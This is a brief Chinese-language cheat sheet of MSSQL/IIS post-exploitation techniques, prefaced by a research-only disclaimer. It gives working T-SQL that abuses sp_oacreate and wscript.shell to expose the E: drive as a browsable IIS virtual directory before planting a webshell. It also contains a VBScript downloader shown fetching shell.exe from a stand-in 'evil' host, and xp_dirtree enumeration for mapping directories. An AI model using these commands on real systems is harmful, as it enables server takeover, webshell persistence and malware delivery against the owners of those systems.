聲明:本文僅供安全研究與防禦參考,嚴禁用於非法入侵。
鍵值:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
declare @o int;
exec sp_oacreate 'wscript.shell', @o out;
exec sp_oamethod @o, 'run', null, 'cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "預設 Web 站點" -v "e","e:\"';
exec sp_oamethod @o, 'run', null, 'cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/root/e browse';
在預設站點建立虛擬目錄 e 指向 E 槽,並啟用瀏覽權限,再傳 Webshell。
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET", LCase(WScript.Arguments(0)), 0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3 : sGet.Type = 1 : sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)), 2
用法:cscript iget.vbs https://evil/shell.exe c:\shell.exe,下載任意檔案。
exec master..xp_dirtree 'd:/test' 回傳欄位 subdirectory, depth,其中 depth 代表目錄層級!
-- 建表含 depth 欄位
create table dirs(paths varchar(1000), id int);
insert dirs exec master.dbo.xp_dirtree 'd:\';
-- 只查第一層
select top 1 paths from dirs where id=1;
此法可精準枚舉各層目錄,大幅降低搜尋成本,堪稱「最實用單一技巧」。
sp_oacreate、sp_oamethod 等 OLE Automation 擴展。xp_cmdshell、xp_dirtree、xp_regread。